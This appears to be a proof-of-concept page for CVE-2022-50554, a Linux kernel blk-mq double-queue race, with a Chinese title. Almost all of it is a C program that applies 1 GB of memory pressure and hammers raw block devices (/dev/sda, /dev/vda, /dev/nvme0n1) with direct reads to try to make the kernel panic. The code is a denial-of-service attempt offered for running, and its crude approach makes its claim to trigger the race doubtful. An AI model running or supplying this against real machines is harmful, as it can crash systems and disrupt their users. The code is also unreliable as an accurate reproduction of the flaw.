CVE-2022-50554 Linux内核blk-mq双队列请求导致内核崩溃漏洞

// CVE-2022-50554 PoC - Triggering double ->queue_rq() in blk-mq // This PoC demonstrates the race condition that causes kernel panic // Note: This vulnerability requires VM environment to trigger reliably #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <pthread.h> #include <errno.h> // Trigger long page fault or preemption latency in vCPU pthread // to cause block IO request timeout before queuing to hardware void* trigger_long_latency(void* arg) { // Allocate large memory to cause page faults char *buf = (char*)malloc(1024 * 1024 * 1024); // 1GB if (!buf) { perror("malloc"); return NULL; } // Touch pages to cause page faults for (size_t i = 0; i < 1024 * 1024 * 1024; i += 4096) { buf[i] = 1; } free(buf); return NULL; } int main(int argc, char* argv[]) { int fd; char buf[4096]; pthread_t tid; // Create latency-inducing thread if (pthread_create(&tid, NULL, trigger_long_latency, NULL) != 0) { perror("pthread_create"); return 1; } // Perform intensive block IO operations // to trigger the race condition between timeout and queue_rq fd = open("/dev/sda", O_RDWR | O_DIRECT); if (fd < 0) { // Try other block devices fd = open("/dev/vda", O_RDWR | O_DIRECT); if (fd < 0) { fd = open("/dev/nvme0n1", O_RDWR | O_DIRECT); } } if (fd >= 0) { // Perform many IO operations to increase chance of triggering race for (int i = 0; i < 10000; i++) { lseek(fd, i * 4096, SEEK_SET); read(fd, buf, sizeof(buf)); } close(fd); } pthread_join(tid, NULL); printf("PoC execution completed. Check kernel logs for panic.\n"); return 0; }